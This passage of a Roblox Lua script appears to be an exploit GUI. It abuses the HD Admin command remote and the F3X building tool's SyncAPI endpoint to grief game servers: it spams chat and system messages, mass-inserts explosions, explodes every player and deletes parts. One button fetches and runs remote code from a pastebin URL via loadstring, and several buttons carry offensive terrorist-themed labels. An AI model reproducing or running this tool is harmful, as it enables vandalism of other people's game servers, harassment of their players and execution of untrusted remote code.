titleLabel.BorderColor3 = Color3.new(0, 0, 1)
titleLabel.Font = Enum.Font.Roboto
titleLabel.Text = "HD Admin Scripts"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 30
titleLabel.Parent = mainFrame
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.74, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "team spam"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";createteam red blue2spooky was here")
RequestCommand:InvokeServer(";createteam blue team blue2spooky")
RequestCommand:InvokeServer(";createteam db aPH3tkJY")
RequestCommand:InvokeServer(";createteam green allah")
RequestCommand:InvokeServer(";createteam dg LOL!")
RequestCommand:InvokeServer(";createteam pk shrekchan")
RequestCommand:InvokeServer(";createteam p blue2spooky")
RequestCommand:InvokeServer(";createteam y GG")
RequestCommand:InvokeServer(";createteam o wut")
RequestCommand:InvokeServer(";createteam black kiga")
RequestCommand:InvokeServer(";createteam white Bad!")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.74, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "anti abuse/anti skid"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";uncmdbar2 others")
RequestCommand:InvokeServer(";hideguis others")
RequestCommand:InvokeServer(";re others")
RequestCommand:InvokeServer(";unjail all")
RequestCommand:InvokeServer(";unbchat others")
RequestCommand:InvokeServer(";unname all")
RequestCommand:InvokeServer(";untitle all")
RequestCommand:InvokeServer(";unchar all")
RequestCommand:InvokeServer(";unfog")
RequestCommand:InvokeServer(";undisco")
RequestCommand:InvokeServer(";unmusic")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.74, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "chat spam"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";chat others blue2spooky was here")
RequestCommand:InvokeServer(";chat others blue2spooky")
RequestCommand:InvokeServer(";chat others halp meh")
RequestCommand:InvokeServer(";chat others LOL!")
RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
RequestCommand:InvokeServer(";chat others lol wut")
RequestCommand:InvokeServer(";chat others gg")
RequestCommand:InvokeServer(";chat others blue2spooky was here")
RequestCommand:InvokeServer(";chat others blue2spooky")
RequestCommand:InvokeServer(";chat others halp meh")
RequestCommand:InvokeServer(";chat others LOL!")
RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
RequestCommand:InvokeServer(";chat others lol wut")
RequestCommand:InvokeServer(";chat others gg")
RequestCommand:InvokeServer(";chat others blue2spooky was here")
RequestCommand:InvokeServer(";chat others blue2spooky")
RequestCommand:InvokeServer(";chat others halp meh")
RequestCommand:InvokeServer(";chat others LOL!")
RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
RequestCommand:InvokeServer(";chat others lol wut")
RequestCommand:InvokeServer(";chat others gg")
RequestCommand:InvokeServer(";chat others blue2spooky was here")
RequestCommand:InvokeServer(";chat others blue2spooky")
RequestCommand:InvokeServer(";chat others halp meh")
RequestCommand:InvokeServer(";chat others LOL!")
RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
RequestCommand:InvokeServer(";chat others lol wut")
RequestCommand:InvokeServer(";chat others gg")
RequestCommand:InvokeServer(";chat others blue2spooky was here")
RequestCommand:InvokeServer(";chat others blue2spooky")
RequestCommand:InvokeServer(";chat others halp meh")
RequestCommand:InvokeServer(";chat others LOL!")
RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
RequestCommand:InvokeServer(";chat others lol wut")
RequestCommand:InvokeServer(";chat others gg")
RequestCommand:InvokeServer(";chat others blue2spooky was here")
RequestCommand:InvokeServer(";chat others blue2spooky")
RequestCommand:InvokeServer(";chat others halp meh")
RequestCommand:InvokeServer(";chat others LOL!")
RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH")
RequestCommand:InvokeServer(";chat others blue2spooky owns our souls")
RequestCommand:InvokeServer(";chat others lol wut")
RequestCommand:InvokeServer(";chat others gg")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.74, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "savemap"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";savemap")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.78, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "allah akbar!"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";talk all praise allah or sum")
wait(1)
RequestCommand:InvokeServer(";talk all allah akbar")
wait(1)
RequestCommand:InvokeServer(";explode all")
RequestCommand:InvokeServer(";music 137994058")
RequestCommand:InvokeServer(";volume inf")
wait(1.5)
RequestCommand:InvokeServer(";music 247893371")
RequestCommand:InvokeServer(";volume inf")
wait(3.7)
RequestCommand:InvokeServer(";music")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.78, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "suicide bomb tool"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/RjdgsM1U"))()
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.78, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "fog"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";disco")
RequestCommand:InvokeServer(";fog")
RequestCommand:InvokeServer(";fog inf")
RequestCommand:InvokeServer(";fog")
RequestCommand:InvokeServer(";music 5359659874")
RequestCommand:InvokeServer(";volume inf")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.78, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "alot of explosion"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
RequestCommand:InvokeServer(";insert 12221636")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.82, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Systemmessage spam"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 15
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
RequestCommand:InvokeServer(";systemmessage LOL")
end)
end)
end;
task.spawn(C_25);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_27()
local script = G2L["27"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local ImageLabel = Instance.new("ImageLabel")
local TextLabel = Instance.new("TextLabel")
local ImageButton = Instance.new("ImageButton")
local TextLabel_2 = Instance.new("TextLabel")
local ImageButton_2 = Instance.new("ImageButton")
local TextLabel_3 = Instance.new("TextLabel")
local ImageButton_3 = Instance.new("ImageButton")
local TextLabel_4 = Instance.new("TextLabel")
local ImageButton_4 = Instance.new("ImageButton")
local TextLabel_5 = Instance.new("TextLabel")
local ImageButton_5 = Instance.new("ImageButton")
local TextLabel_6 = Instance.new("TextLabel")
local ImageButton_6 = Instance.new("ImageButton")
local TextLabel_7 = Instance.new("TextLabel")
local ImageButton_7 = Instance.new("ImageButton")
local TextLabel_8 = Instance.new("TextLabel")
local ImageButton_8 = Instance.new("ImageButton")
local TextLabel_9 = Instance.new("TextLabel")
local ImageButton_9 = Instance.new("ImageButton")
local TextLabel_10 = Instance.new("TextLabel")
local ImageButton_10 = Instance.new("ImageButton")
local TextLabel_11 = Instance.new("TextLabel")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
ImageLabel.Parent = ScreenGui
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageLabel.BorderSizePixel = 3
ImageLabel.Position = UDim2.new(0.268317848, 0, 0.244653314, 0)
ImageLabel.Size = UDim2.new(0, 406, 0, 207)
ImageLabel.Image = "rbxassetid://83632141493364"
TextLabel.Parent = ImageLabel
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BackgroundTransparency = 1.000
TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Size = UDim2.new(0, 406, 0, 25)
TextLabel.Font = Enum.Font.Arial
TextLabel.Text = "luu_kki F3X"
TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.TextScaled = true
TextLabel.TextSize = 14.000
TextLabel.TextWrapped = true
ImageButton.Parent = ImageLabel
ImageButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton.BorderSizePixel = 0
ImageButton.Position = UDim2.new(0.024630541, 0, 0.167121038, 0)
ImageButton.Size = UDim2.new(0, 100, 0, 47)
ImageButton.Image = "rbxassetid://83632141493364"
TextLabel_2.Parent = ImageButton
TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.BackgroundTransparency = 1.000
TextLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_2.BorderSizePixel = 0
TextLabel_2.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_2.Size = UDim2.new(0, 100, 0, 26)
TextLabel_2.Font = Enum.Font.SourceSans
TextLabel_2.Text = "decal"
TextLabel_2.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_2.TextScaled = true
TextLabel_2.TextSize = 14.000
TextLabel_2.TextWrapped = true
ImageButton_2.Parent = ImageLabel
ImageButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton_2.BorderSizePixel = 0
ImageButton_2.Position = UDim2.new(0.290640384, 0, 0.167121038, 0)
ImageButton_2.Size = UDim2.new(0, 100, 0, 47)
ImageButton_2.Image = "rbxassetid://83632141493364"
TextLabel_3.Parent = ImageButton_2
TextLabel_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.BackgroundTransparency = 1.000
TextLabel_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_3.BorderSizePixel = 0
TextLabel_3.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_3.Size = UDim2.new(0, 100, 0, 26)
TextLabel_3.Font = Enum.Font.SourceSans
TextLabel_3.Text = "sky"
TextLabel_3.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_3.TextScaled = true
TextLabel_3.TextSize = 14.000
TextLabel_3.TextWrapped = true
ImageButton_3.Parent = ImageLabel
ImageButton_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton_3.BorderSizePixel = 0
ImageButton_3.Position = UDim2.new(0.559113324, 0, 0.167121038, 0)
ImageButton_3.Size = UDim2.new(0, 100, 0, 47)
ImageButton_3.Image = "rbxassetid://83632141493364"
TextLabel_4.Parent = ImageButton_3
TextLabel_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_4.BackgroundTransparency = 1.000
TextLabel_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_4.BorderSizePixel = 0
TextLabel_4.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_4.Size = UDim2.new(0, 100, 0, 26)
TextLabel_4.Font = Enum.Font.SourceSans
TextLabel_4.Text = "message"
TextLabel_4.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_4.TextScaled = true
TextLabel_4.TextSize = 14.000
TextLabel_4.TextWrapped = true
ImageButton_4.Parent = ImageLabel
ImageButton_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton_4.BorderSizePixel = 0
ImageButton_4.Position = UDim2.new(0.825123131, 0, 0.167121038, 0)
ImageButton_4.Size = UDim2.new(0, 63, 0, 47)
ImageButton_4.Image = "rbxassetid://83632141493364"
TextLabel_5.Parent = ImageButton_4
TextLabel_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_5.BackgroundTransparency = 1.000
TextLabel_5.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_5.BorderSizePixel = 0
TextLabel_5.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_5.Size = UDim2.new(0, 63, 0, 26)
TextLabel_5.Font = Enum.Font.SourceSans
TextLabel_5.Text = "hint"
TextLabel_5.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_5.TextScaled = true
TextLabel_5.TextSize = 14.000
TextLabel_5.TextWrapped = true
ImageButton_5.Parent = ImageLabel
ImageButton_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton_5.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton_5.BorderSizePixel = 0
ImageButton_5.Position = UDim2.new(0.024630541, 0, 0.449944973, 0)
ImageButton_5.Size = UDim2.new(0, 100, 0, 47)
ImageButton_5.Image = "rbxassetid://83632141493364"
TextLabel_6.Parent = ImageButton_5
TextLabel_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_6.BackgroundTransparency = 1.000
TextLabel_6.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_6.BorderSizePixel = 0
TextLabel_6.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_6.Size = UDim2.new(0, 100, 0, 26)
TextLabel_6.Font = Enum.Font.SourceSans
TextLabel_6.Text = "title all"
TextLabel_6.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_6.TextScaled = true
TextLabel_6.TextSize = 14.000
TextLabel_6.TextWrapped = true
ImageButton_6.Parent = ImageLabel
ImageButton_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton_6.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton_6.BorderSizePixel = 0
ImageButton_6.Position = UDim2.new(0.290640384, 0, 0.452795714, 0)
ImageButton_6.Size = UDim2.new(0, 100, 0, 47)
ImageButton_6.Image = "rbxassetid://83632141493364"
TextLabel_7.Parent = ImageButton_6
TextLabel_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_7.BackgroundTransparency = 1.000
TextLabel_7.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_7.BorderSizePixel = 0
TextLabel_7.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_7.Size = UDim2.new(0, 100, 0, 26)
TextLabel_7.Font = Enum.Font.SourceSans
TextLabel_7.Text = "Fire all"
TextLabel_7.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_7.TextScaled = true
TextLabel_7.TextSize = 14.000
TextLabel_7.TextWrapped = true
ImageButton_7.Parent = ImageLabel
ImageButton_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton_7.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton_7.BorderSizePixel = 0
ImageButton_7.Position = UDim2.new(0.559113324, 0, 0.445114076, 0)
ImageButton_7.Size = UDim2.new(0, 100, 0, 47)
ImageButton_7.Image = "rbxassetid://83632141493364"
TextLabel_8.Parent = ImageButton_7
TextLabel_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_8.BackgroundTransparency = 1.000
TextLabel_8.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_8.BorderSizePixel = 0
TextLabel_8.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_8.Size = UDim2.new(0, 100, 0, 26)
TextLabel_8.Font = Enum.Font.SourceSans
TextLabel_8.Text = "delete players"
TextLabel_8.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_8.TextScaled = true
TextLabel_8.TextSize = 14.000
TextLabel_8.TextWrapped = true
ImageButton_8.Parent = ImageLabel
ImageButton_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton_8.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton_8.BorderSizePixel = 0
ImageButton_8.Position = UDim2.new(0.825123131, 0, 0.445114076, 0)
ImageButton_8.Size = UDim2.new(0, 63, 0, 47)
ImageButton_8.Image = "rbxassetid://83632141493364"
TextLabel_9.Parent = ImageButton_8
TextLabel_9.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_9.BackgroundTransparency = 1.000
TextLabel_9.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_9.BorderSizePixel = 0
TextLabel_9.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_9.Size = UDim2.new(0, 63, 0, 26)
TextLabel_9.Font = Enum.Font.SourceSans
TextLabel_9.Text = "unanchor"
TextLabel_9.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_9.TextScaled = true
TextLabel_9.TextSize = 14.000
TextLabel_9.TextWrapped = true
ImageButton_9.Parent = ImageLabel
ImageButton_9.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton_9.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton_9.BorderSizePixel = 0
ImageButton_9.Position = UDim2.new(0.024630541, 0, 0.699262202, 0)
ImageButton_9.Size = UDim2.new(0, 388, 0, 47)
ImageButton_9.Image = "rbxassetid://83632141493364"
TextLabel_10.Parent = ImageButton_9
TextLabel_10.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_10.BackgroundTransparency = 1.000
TextLabel_10.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_10.BorderSizePixel = 0
TextLabel_10.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_10.Size = UDim2.new(0, 388, 0, 26)
TextLabel_10.Font = Enum.Font.SourceSans
TextLabel_10.Text = "particles"
TextLabel_10.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_10.TextScaled = true
TextLabel_10.TextSize = 14.000
TextLabel_10.TextWrapped = true
ImageButton_10.Parent = ImageLabel
ImageButton_10.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageButton_10.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageButton_10.BorderSizePixel = 3
ImageButton_10.Position = UDim2.new(0, 0, -0.269861788, 0)
ImageButton_10.Size = UDim2.new(0, 100, 0, 47)
ImageButton_10.Image = "rbxassetid://83632141493364"
TextLabel_11.Parent = ImageButton_10
TextLabel_11.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_11.BackgroundTransparency = 1.000
TextLabel_11.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_11.BorderSizePixel = 0
TextLabel_11.Position = UDim2.new(0, 0, 0.212765962, 0)
TextLabel_11.Size = UDim2.new(0, 100, 0, 26)
TextLabel_11.Font = Enum.Font.SourceSans
TextLabel_11.Text = "f3x"
TextLabel_11.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_11.TextScaled = true
TextLabel_11.TextSize = 14.000
TextLabel_11.TextWrapped = true
-- Scripts:
local function JGLNADH_fake_script() -- ImageButton.LocalScript
local script = Instance.new('LocalScript', ImageButton)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
